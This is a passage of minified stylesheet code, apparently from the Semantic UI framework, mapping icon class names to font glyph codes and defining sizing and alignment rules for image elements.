ent:"\f06c"}i.icon.fire:before{content:"\f06d"}i.icon.plane:before{content:"\f072"}i.icon.magnet:before{content:"\f076"}i.icon.lemon:before{content:"\f094"}i.icon.world:before{content:"\f0ac"}i.icon.travel:before{content:"\f0b1"}i.icon.shipping:before{content:"\f0d1"}i.icon.money:before{content:"\f0d6"}i.icon.legal:before{content:"\f0e3"}i.icon.lightning:before{content:"\f0e7"}i.icon.umbrella:before{content:"\f0e9"}i.icon.treatment:before{content:"\f0f1"}i.icon.suitcase:before{content:"\f0f2"}i.icon.bar:before{content:"\f0fc"}i.icon.flag.outline:before{content:"\f11d"}i.icon.flag.checkered:before{content:"\f11e"}i.icon.puzzle:before{content:"\f12e"}i.icon.fire.extinguisher:before{content:"\f134"}i.icon.rocket:before{content:"\f135"}i.icon.anchor:before{content:"\f13d"}i.icon.bullseye:before{content:"\f140"}i.icon.sun:before{content:"\f185"}i.icon.moon:before{content:"\f186"}i.icon.fax:before{content:"\f1ac"}i.icon.life.ring:before{content:"\f1cd"}i.icon.bomb:before{content:"\f1e2"}i.icon.soccer:before{content:"\f1e3"}i.icon.calculator:before{content:"\f1ec"}i.icon.diamond:before{content:"\f219"}i.icon.sticky.note:before{content:"\f249"}i.icon.sticky.note.outline:before{content:"\f24a"}i.icon.law:before{content:"\f24e"}i.icon.hand.peace:before{content:"\f25b"}i.icon.hand.rock:before{content:"\f255"}i.icon.hand.paper:before{content:"\f256"}i.icon.hand.scissors:before{content:"\f257"}i.icon.hand.lizard:before{content:"\f258"}i.icon.hand.spock:before{content:"\f259"}i.icon.tv:before{content:"\f26c"}i.icon.crosshairs:before{content:"\f05b"}i.icon.asterisk:before{content:"\f069"}i.icon.square.outline:before{content:"\f096"}i.icon.certificate:before{content:"\f0a3"}i.icon.square:before{content:"\f0c8"}i.icon.quote.left:before{content:"\f10d"}i.icon.quote.right:before{content:"\f10e"}i.icon.spinner:before{content:"\f110"}i.icon.circle:before{content:"\f111"}i.icon.ellipsis.horizontal:before{content:"\f141"}i.icon.ellipsis.vertical:before{content:"\f142"}i.icon.cube:before{content:"\f1b2"}i.icon.cubes:before{content:"\f1b3"}i.icon.circle.notched:before{content:"\f1ce"}i.icon.circle.thin:before{content:"\f1db"}i.icon.checkmark:before{content:"\f00c"}i.icon.remove:before{content:"\f00d"}i.icon.checkmark.box:before{content:"\f046"}i.icon.move:before{content:"\f047"}i.icon.add.circle:before{content:"\f055"}i.icon.minus.circle:before{content:"\f056"}i.icon.remove.circle:before{content:"\f057"}i.icon.check.circle:before{content:"\f058"}i.icon.remove.circle.outline:before{content:"\f05c"}i.icon.check.circle.outline:before{content:"\f05d"}i.icon.plus:before{content:"\f067"}i.icon.minus:before{content:"\f068"}i.icon.add.square:before{content:"\f0fe"}i.icon.radio:before{content:"\f10c"}i.icon.minus.square:before{content:"\f146"}i.icon.minus.square.outline:before{content:"\f147"}i.icon.check.square:before{content:"\f14a"}i.icon.selected.radio:before{content:"\f192"}i.icon.plus.square.outline:before{content:"\f196"}i.icon.toggle.off:before{content:"\f204"}i.icon.toggle.on:before{content:"\f205"}i.icon.film:before{content:"\f008"}i.icon.sound:before{content:"\f025"}i.icon.photo:before{content:"\f030"}i.icon.bar.chart:before{content:"\f080"}i.icon.camera.retro:before{content:"\f083"}i.icon.newspaper:before{content:"\f1ea"}i.icon.area.chart:before{content:"\f1fe"}i.icon.pie.chart:before{content:"\f200"}i.icon.line.chart:before{content:"\f201"}i.icon.arrow.circle.outline.down:before{content:"\f01a"}i.icon.arrow.circle.outline.up:before{content:"\f01b"}i.icon.chevron.left:before{content:"\f053"}i.icon.chevron.right:before{content:"\f054"}i.icon.arrow.left:before{content:"\f060"}i.icon.arrow.right:before{content:"\f061"}i.icon.arrow.up:before{content:"\f062"}i.icon.arrow.down:before{content:"\f063"}i.icon.chevron.up:before{content:"\f077"}i.icon.chevron.down:before{content:"\f078"}i.icon.pointing.right:before{content:"\f0a4"}i.icon.pointing.left:before{content:"\f0a5"}i.icon.pointing.up:before{content:"\f0a6"}i.icon.pointing.down:before{content:"\f0a7"}i.icon.arrow.circle.left:before{content:"\f0a8"}i.icon.arrow.circle.right:before{content:"\f0a9"}i.icon.arrow.circle.up:before{content:"\f0aa"}i.icon.arrow.circle.down:before{content:"\f0ab"}i.icon.caret.down:before{content:"\f0d7"}i.icon.caret.up:before{content:"\f0d8"}i.icon.caret.left:before{content:"\f0d9"}i.icon.caret.right:before{content:"\f0da"}i.icon.angle.double.left:before{content:"\f100"}i.icon.angle.double.right:before{content:"\f101"}i.icon.angle.double.up:before{content:"\f102"}i.icon.angle.double.down:before{content:"\f103"}i.icon.angle.left:before{content:"\f104"}i.icon.angle.right:before{content:"\f105"}i.icon.angle.up:before{content:"\f106"}i.icon.angle.down:before{content:"\f107"}i.icon.chevron.circle.left:before{content:"\f137"}i.icon.chevron.circle.right:before{content:"\f138"}i.icon.chevron.circle.up:before{content:"\f139"}i.icon.chevron.circle.down:before{content:"\f13a"}i.icon.toggle.down:before{content:"\f150"}i.icon.toggle.up:before{content:"\f151"}i.icon.toggle.right:before{content:"\f152"}i.icon.long.arrow.down:before{content:"\f175"}i.icon.long.arrow.up:before{content:"\f176"}i.icon.long.arrow.left:before{content:"\f177"}i.icon.long.arrow.right:before{content:"\f178"}i.icon.arrow.circle.outline.right:before{content:"\f18e"}i.icon.arrow.circle.outline.left:before{content:"\f190"}i.icon.toggle.left:before{content:"\f191"}i.icon.tablet:before{content:"\f10a"}i.icon.mobile:before{content:"\f10b"}i.icon.battery.full:before{content:"\f240"}i.icon.battery.high:before{content:"\f241"}i.icon.battery.medium:before{content:"\f242"}i.icon.battery.low:before{content:"\f243"}i.icon.battery.empty:before{content:"\f244"}i.icon.power:before{content:"\f011"}i.icon.trash.outline:before{content:"\f014"}i.icon.disk.outline:before{content:"\f0a0"}i.icon.desktop:before{content:"\f108"}i.icon.laptop:before{content:"\f109"}i.icon.game:before{content:"\f11b"}i.icon.keyboard:before{content:"\f11c"}i.icon.plug:before{content:"\f1e6"}i.icon.trash:before{content:"\f1f8"}i.icon.file.outline:before{content:"\f016"}i.icon.folder:before{content:"\f07b"}i.icon.folder.open:before{content:"\f07c"}i.icon.file.text.outline:before{content:"\f0f6"}i.icon.folder.outline:before{content:"\f114"}i.icon.folder.open.outline:before{content:"\f115"}i.icon.level.up:before{content:"\f148"}i.icon.level.down:before{content:"\f149"}i.icon.file:before{content:"\f15b"}i.icon.file.text:before{content:"\f15c"}i.icon.file.pdf.outline:before{content:"\f1c1"}i.icon.file.word.outline:before{content:"\f1c2"}i.icon.file.excel.outline:before{content:"\f1c3"}i.icon.file.powerpoint.outline:before{content:"\f1c4"}i.icon.file.image.outline:before{content:"\f1c5"}i.icon.file.archive.outline:before{content:"\f1c6"}i.icon.file.audio.outline:before{content:"\f1c7"}i.icon.file.video.outline:before{content:"\f1c8"}i.icon.file.code.outline:before{content:"\f1c9"}i.icon.qrcode:before{content:"\f029"}i.icon.barcode:before{content:"\f02a"}i.icon.rss:before{content:"\f09e"}i.icon.fork:before{content:"\f126"}i.icon.html5:before{content:"\f13b"}i.icon.css3:before{content:"\f13c"}i.icon.rss.square:before{content:"\f143"}i.icon.openid:before{content:"\f19b"}i.icon.database:before{content:"\f1c0"}i.icon.server:before{content:"\f233"}i.icon.usb:before{content:"\f287"}i.icon.bluetooth:before{content:"\f293"}i.icon.bluetooth.alternative:before{content:"\f294"}i.icon.heart:before{content:"\f004"}i.icon.star:before{content:"\f005"}i.icon.empty.star:before{content:"\f006"}i.icon.thumbs.outline.up:before{content:"\f087"}i.icon.thumbs.outline.down:before{content:"\f088"}i.icon.star.half:before{content:"\f089"}i.icon.empty.heart:before{content:"\f08a"}i.icon.smile:before{content:"\f118"}i.icon.frown:before{content:"\f119"}i.icon.meh:before{content:"\f11a"}i.icon.star.half.empty:before{content:"\f123"}i.icon.thumbs.up:before{content:"\f164"}i.icon.thumbs.down:before{content:"\f165"}i.icon.music:before{content:"\f001"}i.icon.video.play.outline:before{content:"\f01d"}i.icon.volume.off:before{content:"\f026"}i.icon.volume.down:before{content:"\f027"}i.icon.volume.up:before{content:"\f028"}i.icon.record:before{content:"\f03d"}i.icon.step.backward:before{content:"\f048"}i.icon.fast.backward:before{content:"\f049"}i.icon.backward:before{content:"\f04a"}i.icon.play:before{content:"\f04b"}i.icon.pause:before{content:"\f04c"}i.icon.stop:before{content:"\f04d"}i.icon.forward:before{content:"\f04e"}i.icon.fast.forward:before{content:"\f050"}i.icon.step.forward:before{content:"\f051"}i.icon.eject:before{content:"\f052"}i.icon.unmute:before{content:"\f130"}i.icon.mute:before{content:"\f131"}i.icon.video.play:before{content:"\f144"}i.icon.closed.captioning:before{content:"\f20a"}i.icon.pause.circle:before{content:"\f28b"}i.icon.pause.circle.outline:before{content:"\f28c"}i.icon.stop.circle:before{content:"\f28d"}i.icon.stop.circle.outline:before{content:"\f28e"}i.icon.marker:before{content:"\f041"}i.icon.coffee:before{content:"\f0f4"}i.icon.food:before{content:"\f0f5"}i.icon.building.outline:before{content:"\f0f7"}i.icon.hospital:before{content:"\f0f8"}i.icon.emergency:before{content:"\f0f9"}i.icon.first.aid:before{content:"\f0fa"}i.icon.military:before{content:"\f0fb"}i.icon.h:before{content:"\f0fd"}i.icon.location.arrow:before{content:"\f124"}i.icon.compass:before{content:"\f14e"}i.icon.space.shuttle:before{content:"\f197"}i.icon.university:before{content:"\f19c"}i.icon.building:before{content:"\f1ad"}i.icon.paw:before{content:"\f1b0"}i.icon.spoon:before{content:"\f1b1"}i.icon.car:before{content:"\f1b9"}i.icon.taxi:before{content:"\f1ba"}i.icon.tree:before{content:"\f1bb"}i.icon.bicycle:before{content:"\f206"}i.icon.bus:before{content:"\f207"}i.icon.ship:before{content:"\f21a"}i.icon.motorcycle:before{content:"\f21c"}i.icon.street.view:before{content:"\f21d"}i.icon.hotel:before{content:"\f236"}i.icon.train:before{content:"\f238"}i.icon.subway:before{content:"\f239"}i.icon.map.pin:before{content:"\f276"}i.icon.map.signs:before{content:"\f277"}i.icon.map.outline:before{content:"\f278"}i.icon.map:before{content:"\f279"}i.icon.table:before{content:"\f0ce"}i.icon.columns:before{content:"\f0db"}i.icon.sort:before{content:"\f0dc"}i.icon.sort.descending:before{content:"\f0dd"}i.icon.sort.ascending:before{content:"\f0de"}i.icon.sort.alphabet.ascending:before{content:"\f15d"}i.icon.sort.alphabet.descending:before{content:"\f15e"}i.icon.sort.content.ascending:before{content:"\f160"}i.icon.sort.content.descending:before{content:"\f161"}i.icon.sort.numeric.ascending:before{content:"\f162"}i.icon.sort.numeric.descending:before{content:"\f163"}i.icon.font:before{content:"\f031"}i.icon.bold:before{content:"\f032"}i.icon.italic:before{content:"\f033"}i.icon.text.height:before{content:"\f034"}i.icon.text.width:before{content:"\f035"}i.icon.align.left:before{content:"\f036"}i.icon.align.center:before{content:"\f037"}i.icon.align.right:before{content:"\f038"}i.icon.align.justify:before{content:"\f039"}i.icon.list:before{content:"\f03a"}i.icon.outdent:before{content:"\f03b"}i.icon.indent:before{content:"\f03c"}i.icon.cut:before{content:"\f0c4"}i.icon.copy:before{content:"\f0c5"}i.icon.attach:before{content:"\f0c6"}i.icon.save:before{content:"\f0c7"}i.icon.content:before{content:"\f0c9"}i.icon.unordered.list:before{content:"\f0ca"}i.icon.ordered.list:before{content:"\f0cb"}i.icon.strikethrough:before{content:"\f0cc"}i.icon.underline:before{content:"\f0cd"}i.icon.paste:before{content:"\f0ea"}i.icon.unlinkify:before{content:"\f127"}i.icon.superscript:before{content:"\f12b"}i.icon.subscript:before{content:"\f12c"}i.icon.header:before{content:"\f1dc"}i.icon.paragraph:before{content:"\f1dd"}i.icon.text.cursor:before{content:"\f246"}i.icon.euro:before{content:"\f153"}i.icon.pound:before{content:"\f154"}i.icon.dollar:before{content:"\f155"}i.icon.rupee:before{content:"\f156"}i.icon.yen:before{content:"\f157"}i.icon.ruble:before{content:"\f158"}i.icon.won:before{content:"\f159"}i.icon.bitcoin:before{content:"\f15a"}i.icon.lira:before{content:"\f195"}i.icon.shekel:before{content:"\f20b"}i.icon.paypal:before{content:"\f1ed"}i.icon.google.wallet:before{content:"\f1ee"}i.icon.visa:before{content:"\f1f0"}i.icon.mastercard:before{content:"\f1f1"}i.icon.discover:before{content:"\f1f2"}i.icon.american.express:before{content:"\f1f3"}i.icon.paypal.card:before{content:"\f1f4"}i.icon.stripe:before{content:"\f1f5"}i.icon.japan.credit.bureau:before{content:"\f24b"}i.icon.diners.club:before{content:"\f24c"}i.icon.credit.card.alternative:before{content:"\f283"}i.icon.twitter.square:before{content:"\f081"}i.icon.facebook.square:before{content:"\f082"}i.icon.linkedin.square:before{content:"\f08c"}i.icon.github.square:before{content:"\f092"}i.icon.twitter:before{content:"\f099"}i.icon.facebook.f:before{content:"\f09a"}i.icon.github:before{content:"\f09b"}i.icon.pinterest.square:before{content:"\f0d3"}i.icon.google.plus.square:before{content:"\f0d4"}i.icon.google.plus:before{content:"\f0d5"}i.icon.linkedin:before{content:"\f0e1"}i.icon.github.alternate:before{content:"\f113"}i.icon.maxcdn:before{content:"\f136"}i.icon.youtube.square:before{content:"\f166"}i.icon.youtube:before{content:"\f167"}i.icon.xing:before{content:"\f168"}i.icon.xing.square:before{content:"\f169"}i.icon.youtube.play:before{content:"\f16a"}i.icon.dropbox:before{content:"\f16b"}i.icon.stack.overflow:before{content:"\f16c"}i.icon.instagram:before{content:"\f16d"}i.icon.flickr:before{content:"\f16e"}i.icon.adn:before{content:"\f170"}i.icon.bitbucket:before{content:"\f171"}i.icon.bitbucket.square:before{content:"\f172"}i.icon.tumblr:before{content:"\f173"}i.icon.tumblr.square:before{content:"\f174"}i.icon.apple:before{content:"\f179"}i.icon.windows:before{content:"\f17a"}i.icon.android:before{content:"\f17b"}i.icon.linux:before{content:"\f17c"}i.icon.dribble:before{content:"\f17d"}i.icon.skype:before{content:"\f17e"}i.icon.foursquare:before{content:"\f180"}i.icon.trello:before{content:"\f181"}i.icon.gittip:before{content:"\f184"}i.icon.vk:before{content:"\f189"}i.icon.weibo:before{content:"\f18a"}i.icon.renren:before{content:"\f18b"}i.icon.pagelines:before{content:"\f18c"}i.icon.stack.exchange:before{content:"\f18d"}i.icon.vimeo.square:before{content:"\f194"}i.icon.slack:before{content:"\f198"}i.icon.wordpress:before{content:"\f19a"}i.icon.yahoo:before{content:"\f19e"}i.icon.google:before{content:"\f1a0"}i.icon.reddit:before{content:"\f1a1"}i.icon.reddit.square:before{content:"\f1a2"}i.icon.stumbleupon.circle:before{content:"\f1a3"}i.icon.stumbleupon:before{content:"\f1a4"}i.icon.delicious:before{content:"\f1a5"}i.icon.digg:before{content:"\f1a6"}i.icon.pied.piper:before{content:"\f1a7"}i.icon.pied.piper.alternate:before{content:"\f1a8"}i.icon.drupal:before{content:"\f1a9"}i.icon.joomla:before{content:"\f1aa"}i.icon.behance:before{content:"\f1b4"}i.icon.behance.square:before{content:"\f1b5"}i.icon.steam:before{content:"\f1b6"}i.icon.steam.square:before{content:"\f1b7"}i.icon.spotify:before{content:"\f1bc"}i.icon.deviantart:before{content:"\f1bd"}i.icon.soundcloud:before{content:"\f1be"}i.icon.vine:before{content:"\f1ca"}i.icon.codepen:before{content:"\f1cb"}i.icon.jsfiddle:before{content:"\f1cc"}i.icon.rebel:before{content:"\f1d0"}i.icon.empire:before{content:"\f1d1"}i.icon.git.square:before{content:"\f1d2"}i.icon.git:before{content:"\f1d3"}i.icon.hacker.news:before{content:"\f1d4"}i.icon.tencent.weibo:before{content:"\f1d5"}i.icon.qq:before{content:"\f1d6"}i.icon.wechat:before{content:"\f1d7"}i.icon.slideshare:before{content:"\f1e7"}i.icon.twitch:before{content:"\f1e8"}i.icon.yelp:before{content:"\f1e9"}i.icon.lastfm:before{content:"\f202"}i.icon.lastfm.square:before{content:"\f203"}i.icon.ioxhost:before{content:"\f208"}i.icon.angellist:before{content:"\f209"}i.icon.meanpath:before{content:"\f20c"}i.icon.buysellads:before{content:"\f20d"}i.icon.connectdevelop:before{content:"\f20e"}i.icon.dashcube:before{content:"\f210"}i.icon.forumbee:before{content:"\f211"}i.icon.leanpub:before{content:"\f212"}i.icon.sellsy:before{content:"\f213"}i.icon.shirtsinbulk:before{content:"\f214"}i.icon.simplybuilt:before{content:"\f215"}i.icon.skyatlas:before{content:"\f216"}i.icon.facebook:before{content:"\f230"}i.icon.pinterest:before{content:"\f231"}i.icon.whatsapp:before{content:"\f232"}i.icon.viacoin:before{content:"\f237"}i.icon.medium:before{content:"\f23a"}i.icon.y.combinator:before{content:"\f23b"}i.icon.optinmonster:before{content:"\f23c"}i.icon.opencart:before{content:"\f23d"}i.icon.expeditedssl:before{content:"\f23e"}i.icon.gg:before{content:"\f260"}i.icon.gg.circle:before{content:"\f261"}i.icon.tripadvisor:before{content:"\f262"}i.icon.odnoklassniki:before{content:"\f263"}i.icon.odnoklassniki.square:before{content:"\f264"}i.icon.pocket:before{content:"\f265"}i.icon.wikipedia:before{content:"\f266"}i.icon.safari:before{content:"\f267"}i.icon.chrome:before{content:"\f268"}i.icon.firefox:before{content:"\f269"}i.icon.opera:before{content:"\f26a"}i.icon.internet.explorer:before{content:"\f26b"}i.icon.contao:before{content:"\f26d"}i.icon.\35 00px:before{content:"\f26e"}i.icon.amazon:before{content:"\f270"}i.icon.houzz:before{content:"\f27c"}i.icon.vimeo:before{content:"\f27d"}i.icon.black.tie:before{content:"\f27e"}i.icon.fonticons:before{content:"\f280"}i.icon.reddit.alien:before{content:"\f281"}i.icon.microsoft.edge:before{content:"\f282"}i.icon.codiepie:before{content:"\f284"}i.icon.modx:before{content:"\f285"}i.icon.fort.awesome:before{content:"\f286"}i.icon.product.hunt:before{content:"\f288"}i.icon.mixcloud:before{content:"\f289"}i.icon.scribd:before{content:"\f28a"}i.icon.gitlab:before{content:"\f296"}i.icon.wpbeginner:before{content:"\f297"}i.icon.wpforms:before{content:"\f298"}i.icon.envira.gallery:before{content:"\f299"}i.icon.glide:before{content:"\f2a5"}i.icon.glide.g:before{content:"\f2a6"}i.icon.viadeo:before{content:"\f2a9"}i.icon.viadeo.square:before{content:"\f2aa"}i.icon.snapchat:before{content:"\f2ab"}i.icon.snapchat.ghost:before{content:"\f2ac"}i.icon.snapchat.square:before{content:"\f2ad"}i.icon.pied.piper.hat:before{content:"\f2ae"}i.icon.first.order:before{content:"\f2b0"}i.icon.yoast:before{content:"\f2b1"}i.icon.themeisle:before{content:"\f2b2"}i.icon.google.plus.circle:before{content:"\f2b3"}i.icon.font.awesome:before{content:"\f2b4"}i.icon.like:before{content:"\f004"}i.icon.favorite:before{content:"\f005"}i.icon.video:before{content:"\f008"}i.icon.check:before{content:"\f00c"}i.icon.cancel:before,i.icon.close:before,i.icon.delete:before,i.icon.x:before{content:"\f00d"}i.icon.magnify:before,i.icon.zoom.in:before{content:"\f00e"}i.icon.shutdown:before{content:"\f011"}i.icon.clock:before,i.icon.time:before{content:"\f017"}i.icon.play.circle.outline:before{content:"\f01d"}i.icon.headphone:before{content:"\f025"}i.icon.camera:before{content:"\f030"}i.icon.video.camera:before{content:"\f03d"}i.icon.picture:before{content:"\f03e"}i.icon.compose:before,i.icon.pencil:before{content:"\f040"}i.icon.point:before{content:"\f041"}i.icon.tint:before{content:"\f043"}i.icon.signup:before{content:"\f044"}i.icon.plus.circle:before{content:"\f055"}i.icon.question.circle:before{content:"\f059"}i.icon.dont:before{content:"\f05e"}i.icon.minimize:before{content:"\f066"}i.icon.add:before{content:"\f067"}i.icon.attention:before,i.icon.exclamation.circle:before{content:"\f06a"}i.icon.eye:before{content:"\f06e"}i.icon.exclamation.triangle:before{content:"\f071"}i.icon.shuffle:before{content:"\f074"}i.icon.chat:before{content:"\f075"}i.icon.cart:before,i.icon.shopping.cart:before{content:"\f07a"}i.icon.bar.graph:before{content:"\f080"}i.icon.key:before{content:"\f084"}i.icon.cogs:before{content:"\f085"}i.icon.discussions:before{content:"\f086"}i.icon.like.outline:before{content:"\f087"}i.icon.dislike.outline:before{content:"\f088"}i.icon.heart.outline:before{content:"\f08a"}i.icon.log.out:before{content:"\f08b"}i.icon.thumb.tack:before{content:"\f08d"}i.icon.winner:before{content:"\f091"}i.icon.phone:before{content:"\f095"}i.icon.bookmark.outline:before{content:"\f097"}i.icon.phone.square:before{content:"\f098"}i.icon.credit.card:before{content:"\f09d"}i.icon.hdd.outline:before{content:"\f0a0"}i.icon.bullhorn:before{content:"\f0a1"}i.icon.bell.outline:before{content:"\f0a2"}i.icon.hand.outline.right:before{content:"\f0a4"}i.icon.hand.outline.left:before{content:"\f0a5"}i.icon.hand.outline.up:before{content:"\f0a6"}i.icon.hand.outline.down:before{content:"\f0a7"}i.icon.globe:before{content:"\f0ac"}i.icon.wrench:before{content:"\f0ad"}i.icon.briefcase:before{content:"\f0b1"}i.icon.group:before{content:"\f0c0"}i.icon.chain:before,i.icon.linkify:before{content:"\f0c1"}i.icon.flask:before{content:"\f0c3"}i.icon.bars:before,i.icon.sidebar:before{content:"\f0c9"}i.icon.list.ul:before{content:"\f0ca"}i.icon.list.ol:before,i.icon.numbered.list:before{content:"\f0cb"}i.icon.magic:before{content:"\f0d0"}i.icon.truck:before{content:"\f0d1"}i.icon.currency:before{content:"\f0d6"}i.icon.dropdown:before,i.icon.triangle.down:before{content:"\f0d7"}i.icon.triangle.up:before{content:"\f0d8"}i.icon.triangle.left:before{content:"\f0d9"}i.icon.triangle.right:before{content:"\f0da"}i.icon.envelope:before{content:"\f0e0"}i.icon.conversation:before{content:"\f0e6"}i.icon.rain:before{content:"\f0e9"}i.icon.clipboard:before{content:"\f0ea"}i.icon.lightbulb:before{content:"\f0eb"}i.icon.bell:before{content:"\f0f3"}i.icon.ambulance:before{content:"\f0f9"}i.icon.medkit:before{content:"\f0fa"}i.icon.fighter.jet:before{content:"\f0fb"}i.icon.beer:before{content:"\f0fc"}i.icon.plus.square:before{content:"\f0fe"}i.icon.computer:before{content:"\f108"}i.icon.gamepad:before{content:"\f11b"}i.icon.star.half.full:before{content:"\f123"}i.icon.broken.chain:before{content:"\f127"}i.icon.question:before{content:"\f128"}i.icon.exclamation:before{content:"\f12a"}i.icon.eraser:before{content:"\f12d"}i.icon.microphone:before{content:"\f130"}i.icon.microphone.slash:before{content:"\f131"}i.icon.shield:before{content:"\f132"}i.icon.target:before{content:"\f140"}i.icon.play.circle:before{content:"\f144"}i.icon.pencil.square:before{content:"\f14b"}i.icon.eur:before{content:"\f153"}i.icon.gbp:before{content:"\f154"}i.icon.usd:before{content:"\f155"}i.icon.inr:before{content:"\f156"}i.icon.cny:before,i.icon.jpy:before,i.icon.rmb:before{content:"\f157"}i.icon.rouble:before,i.icon.rub:before{content:"\f158"}i.icon.krw:before{content:"\f159"}i.icon.btc:before{content:"\f15a"}i.icon.gratipay:before{content:"\f184"}i.icon.zip:before{content:"\f187"}i.icon.dot.circle.outline:before{content:"\f192"}i.icon.try:before{content:"\f195"}i.icon.graduation:before{content:"\f19d"}i.icon.circle.outline:before{content:"\f1db"}i.icon.sliders:before{content:"\f1de"}i.icon.weixin:before{content:"\f1d7"}i.icon.teletype:before,i.icon.tty:before{content:"\f1e4"}i.icon.binoculars:before{content:"\f1e5"}i.icon.power.cord:before{content:"\f1e6"}i.icon.wi-fi:before{content:"\f1eb"}i.icon.visa.card:before{content:"\f1f0"}i.icon.mastercard.card:before{content:"\f1f1"}i.icon.discover.card:before{content:"\f1f2"}i.icon.american.express.card:before,i.icon.amex:before{content:"\f1f3"}i.icon.stripe.card:before{content:"\f1f5"}i.icon.bell.slash:before{content:"\f1f6"}i.icon.bell.slash.outline:before{content:"\f1f7"}i.icon.area.graph:before{content:"\f1fe"}i.icon.pie.graph:before{content:"\f200"}i.icon.line.graph:before{content:"\f201"}i.icon.cc:before{content:"\f20a"}i.icon.ils:before,i.icon.sheqel:before{content:"\f20b"}i.icon.plus.cart:before{content:"\f217"}i.icon.arrow.down.cart:before{content:"\f218"}i.icon.detective:before{content:"\f21b"}i.icon.venus:before{content:"\f221"}i.icon.mars:before{content:"\f222"}i.icon.mercury:before{content:"\f223"}i.icon.intersex:before{content:"\f224"}i.icon.female.homosexual:before,i.icon.venus.double:before{content:"\f226"}i.icon.male.homosexual:before,i.icon.mars.double:before{content:"\f227"}i.icon.venus.mars:before{content:"\f228"}i.icon.mars.alternate:before,i.icon.mars.stroke:before{content:"\f229"}i.icon.mars.stroke.vertical:before,i.icon.mars.vertical:before{content:"\f22a"}i.icon.mars.horizontal:before,i.icon.mars.stroke.horizontal:before{content:"\f22b"}i.icon.asexual:before{content:"\f22d"}i.icon.facebook.official:before{content:"\f230"}i.icon.user.plus:before{content:"\f234"}i.icon.user.cancel:before,i.icon.user.close:before,i.icon.user.delete:before,i.icon.user.times:before,i.icon.user.x:before{content:"\f235"}i.icon.bed:before{content:"\f236"}i.icon.yc:before,i.icon.ycombinator:before{content:"\f23b"}i.icon.battery.four:before{content:"\f240"}i.icon.battery.three.quarters:before,i.icon.battery.three:before{content:"\f241"}i.icon.battery.half:before,i.icon.battery.two:before{content:"\f242"}i.icon.battery.one:before,i.icon.battery.quarter:before{content:"\f243"}i.icon.battery.zero:before{content:"\f244"}i.icon.i.cursor:before{content:"\f246"}i.icon.japan.credit.bureau.card:before,i.icon.jcb:before{content:"\f24b"}i.icon.diners.club.card:before{content:"\f24c"}i.icon.balance:before{content:"\f24e"}i.icon.hourglass.outline:before,i.icon.hourglass.zero:before{content:"\f250"}i.icon.hourglass.one:before{content:"\f251"}i.icon.hourglass.two:before{content:"\f252"}i.icon.hourglass.three:before{content:"\f253"}i.icon.hourglass.four:before{content:"\f254"}i.icon.grab:before{content:"\f255"}i.icon.hand.victory:before{content:"\f25b"}i.icon.tm:before{content:"\f25c"}i.icon.r.circle:before{content:"\f25d"}i.icon.television:before{content:"\f26c"}i.icon.five.hundred.pixels:before{content:"\f26e"}i.icon.calendar.plus:before{content:"\f271"}i.icon.calendar.minus:before{content:"\f272"}i.icon.calendar.times:before{content:"\f273"}i.icon.calendar.check:before{content:"\f274"}i.icon.factory:before{content:"\f275"}i.icon.commenting:before{content:"\f27a"}i.icon.commenting.outline:before{content:"\f27b"}i.icon.edge:before,i.icon.ms.edge:before{content:"\f282"}i.icon.wordpress.beginner:before{content:"\f297"}i.icon.wordpress.forms:before{content:"\f298"}i.icon.envira:before{content:"\f299"}i.icon.question.circle.outline:before{content:"\f29c"}i.icon.ald:before,i.icon.als:before,i.icon.assistive.listening.devices:before{content:"\f2a2"}i.icon.asl.interpreting:before{content:"\f2a3"}i.icon.deaf:before{content:"\f2a4"}i.icon.american.sign.language.interpreting:before{content:"\f2a3"}i.icon.hard.of.hearing:before{content:"\f2a4"}i.icon.signing:before{content:"\f2a7"}i.icon.new.pied.piper:before{content:"\f2ae"}i.icon.theme.isle:before{content:"\f2b2"}i.icon.google.plus.official:before{content:"\f2b3"}i.icon.fa:before{content:"\f2b4"}.ui.image{position:relative;display:inline-block;vertical-align:middle;max-width:100%;background-color:transparent}img.ui.image{display:block}.ui.image img,.ui.image svg{display:block;max-width:100%;height:auto}.ui.hidden.image,.ui.hidden.images{display:none}.ui.hidden.transition.image,.ui.hidden.transition.images{display:block;visibility:hidden}.ui.disabled.image,.ui.disabled.images{cursor:default;opacity:.45}.ui.inline.image,.ui.inline.image img,.ui.inline.image svg{display:inline-block}.ui.top.aligned.image,.ui.top.aligned.image img,.ui.top.aligned.image svg,.ui.top.aligned.images .image{display:inline-block;vertical-align:top}.ui.middle.aligned.image,.ui.middle.aligned.image img,.ui.middle.aligned.image svg,.ui.middle.aligned.images .image{display:inline-block;vertical-align:middle}.ui.bottom.aligned.image,.ui.bottom.aligned.image img,.ui.bottom.aligned.image svg,.ui.bottom.aligned.images .image{display:inline-block;vertical-align:bottom}.ui.rounded.image,.ui.rounded.image>*,.ui.rounded.images .image,.ui.rounded.images .image>*{border-radius:.3125em}.ui.bordered.image img,.ui.bordered.image svg,.ui.bordered.images .image,.ui.bordered.images img,.ui.bordered.images svg,img.ui.bordered.image{border:1px solid rgba(0,0,0,.1)}.ui.circular.image,.ui.circular.images{overflow:hidden}.ui.circular.image,.ui.circular.image>*,.ui.circular.images .image,.ui.circular.images .image>*{border-radius:500rem}.ui.fluid.image,.ui.fluid.image img,.ui.fluid.image svg,.ui.fluid.images,.ui.fluid.images img,.ui.fluid.images svg{display:block;width:100%;height:auto}.ui.avatar.image,.ui.avatar.image img,.ui.avatar.image svg,.ui.avatar.images .image,.ui.avatar.images img,.ui.avatar.images svg{margin-right:.25em;display:inline-block;width:2em;height:2em;border-radius:500rem}.ui.spaced.image{display:inline-block!important;margin-left:.5em;margin-right:.5em}.ui[class*="left spaced"].image{margin-left:.5em;margin-right:0}.ui[class*="right spaced"].image{margin-left:0;margin-right:.5em}.ui.floated.image,.ui.floated.images{float:left;margin-right:1em;margin-bottom:1em}.ui.right.floated.image,.ui.right.floated.images{float:right;margin-right:0;margin-bottom:1em;margin-left:1em}.ui.floated.image:last-child,.ui.floated.images:last-child{margin-bottom:0}.ui.centered.image,.ui.centered.images{margin-left:auto;margin-right:auto}.ui.mini.image,.ui.mini.images .image,.ui.mini.images img,.ui.mini.images svg{width:35px;height:auto;font-size:.78571429rem}.ui.tiny.image,.ui.tiny.images .image,.ui.tiny.images img,.ui.tiny.images svg{width:80px;height:auto;font-size:.85714286rem}.ui.small.image,.ui.small.images .image,.ui.small.images img,.ui.small.images svg{width:150px;height:auto;font-size:.92857143rem}.ui.medium.image,.ui.medium.images .image,.ui.medium.images img,.ui.medium.images svg{width:300px;height:auto;font-size:1rem}.ui.large.image,.ui.large.images .image,.ui.large.images img,.ui.large.images 